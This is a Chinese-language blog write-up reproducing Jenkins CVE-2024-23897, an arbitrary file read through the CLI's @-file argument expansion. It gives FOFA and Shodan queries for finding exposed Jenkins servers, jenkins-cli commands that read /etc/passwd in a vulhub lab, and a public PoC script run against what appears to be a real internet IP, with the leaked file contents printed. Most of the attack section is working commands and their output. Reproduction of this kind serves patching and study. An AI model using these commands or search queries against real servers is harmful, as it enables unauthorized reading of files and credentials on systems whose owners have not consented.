Jenkins:CVE-2024-23897[任意文件读取]

Jenkins简介:一个开源的自动化服务器,它可以帮助自动化各种任务,包括构建、测试和部署软件。

漏洞原理

1.Jenkins服务器在处理客户端远程命令时,Jenkins 使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。

2.此命令解析器具有一项功能,可将参数中后跟文件路径的 @ 字符替换为文件的内容。

3.此功能默认启用,Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本不会禁用此功能。

FOFA查询语法

复制代码
(header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols") && port="443"

Shodan语法

复制代码
http.component:"Jenkins" port:8080

漏洞利用

1.开启vulhub靶场

复制代码
cd ./vulhub-master/jenkins/CVE-2024-23897

docker-compose up

docker ps

Name Command State Ports


cve-2024-23897_jenkins_1 /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:50000->50000/tcp,:::50000->50000/tcp, 0.0.0.0:5005->5005/tcp,:::5005->5005/tcp,

0.0.0.0:8080->8080/tcp,:::8080->8080/tcp

2.访问网页

http://ip:8080

3.下载客户端用于远程访问

复制代码
wget http://IP:8080/jnlpJars/jenkins-cli.jar

4.使用客户端连接服务器,指定文件作为参数,回显文件内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

如果用户权限较高可使用 reload-job 读取文件完整内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such item 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' exists.
root:x:0:0:root:/root:/bin/bash: No such item 'root:x:0:0:root:/root:/bin/bash' exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such item 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin' exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such item 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin' exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such item '_apt:x:42:65534::/nonexistent:/usr/sbin/nologin' exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such item 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin' exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such item 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin' exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such item 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin' exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such item 'bin:x:2:2:bin:/bin:/usr/sbin/nologin' exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such item 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin' exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such item 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin' exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such item 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin' exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such item 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin' exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such item 'jenkins:x:1000:1000::/var/jenkins_home:/bin/bash' exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such item 'games:x:5:60:games:/usr/games:/usr/sbin/nologin' exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such item 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin' exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such item 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin' exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such item 'sys:x:3:3:sys:/dev:/usr/sbin/nologin' exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such item 'sync:x:4:65534:sync:/bin:/bin/sync' exists.

poc工具使用

作者地址:GitHub - h4x0r-dz/CVE-2024-23897: CVE-2024-23897

CVE-2024-23897.py

复制代码
CVE-2024-23897.py [-h] [-u URL] [-l LIST] -f文件

CVE-2024-23897漏洞脚本。

可选参数:
-h,------help显示帮助信息并退出
-u URL,------URL URL单目标URL。
-l LIST,------LIST LIST包含目标主机列表的文件。
-f FILE,------FILE FILE从服务器读取的文件路径。

[root@localhost CVE-2024-23897-main]# python3 CVE-2024-23897.py -u 52.83.63.195:9999 -f /etc/passwd
RESPONSE from 52.83.63.195:9999: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00<\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

官方安全公告:Jenkins Security Advisory 2024-01-24

其他漏洞:https://korelogic.com/advisories.html

漏洞分析:Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户

漏洞利用及java低版本报错解决:Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现 - BMCel - 博客园 (cnblogs.com)

相关推荐
七牛云行业应用40 分钟前
企业级AI大模型选型指南:从评估部署到安全实践
大数据·人工智能·安全
Cloud Traveler3 小时前
第3天-Jenkins详解-3
运维·分布式·jenkins
u0104058363 小时前
电商导购平台的搜索引擎优化:基于Elasticsearch的商品精准推荐系统
elasticsearch·搜索引擎·jenkins
CV-杨帆3 小时前
大模型在题目生成中的安全风险研究综述
人工智能·深度学习·安全
猫耳君4 小时前
汽车功能安全 Functional Safety ISO 26262 测试之一
测试开发·安全·汽车·功能安全·汽车测试·汽车电子测试
ZYMFZ4 小时前
Linux系统 SELinux 安全管理与故障排查
linux·运维·安全
BillKu5 小时前
Vue3 中使用 DOMPurify 对渲染动态 HTML 进行安全净化处理
前端·安全·html
*老工具人了*6 小时前
Terraform整合到GitLab+Jenkins工具链
gitlab·jenkins·terraform
码畜也有梦想7 小时前
Maven中optional的作用
java·jenkins·maven
云边云科技17 小时前
门店网络重构:告别“打补丁”,用“云网融合”重塑数字竞争力!
大数据·人工智能·安全·智能路由器·零售